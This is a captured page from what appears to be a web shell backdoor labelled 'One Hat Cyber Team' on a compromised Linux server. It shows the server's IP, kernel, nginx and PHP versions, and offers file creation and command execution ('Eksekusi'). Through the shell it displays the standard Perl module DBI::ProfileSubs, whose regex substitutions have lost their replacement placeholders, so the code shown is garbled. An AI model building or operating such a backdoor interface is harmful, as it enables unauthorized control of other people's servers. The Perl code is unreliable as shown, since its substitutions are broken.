⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
lib
/
x86_64-linux-gnu
/
perl5
/
5.38
/
DBI
/
View File Name :
ProfileSubs.pm
package DBI::ProfileSubs; our $VERSION = "0.009396"; =head1 NAME DBI::ProfileSubs - Subroutines for dynamic profile Path =head1 SYNOPSIS DBI_PROFILE='&norm_std_n3' prog.pl This is new and still experimental. =head1 TO DO Define come kind of naming convention for the subs. =cut use strict; use warnings; # would be good to refactor these regex into separate subs and find some # way to compose them in various combinations into multiple subs. # Perhaps via AUTOLOAD where \&auto_X_Y_Z creates a sub that does X, Y, and Z. # The final subs always need to be very fast. # sub norm_std_n3 { # my ($h, $method_name) = @_; local $_ = $_; s/\b\d+\b/
/g; # 42 ->
s/\b0x[0-9A-Fa-f]+\b/
/g; # 0xFE ->
s/'.*?'/'
'/g; # single quoted strings (doesn't handle escapes) s/".*?"/"
"/g; # double quoted strings (doesn't handle escapes) # convert names like log20001231 into log
s/([a-z_]+)(\d{3,})\b/${1}
/ig; # abbreviate massive "in (...)" statements and similar s!((\s*<[NS]>\s*,\s*){100,})!sprintf("$2,
",length($1)/2)!eg; return $_; } 1;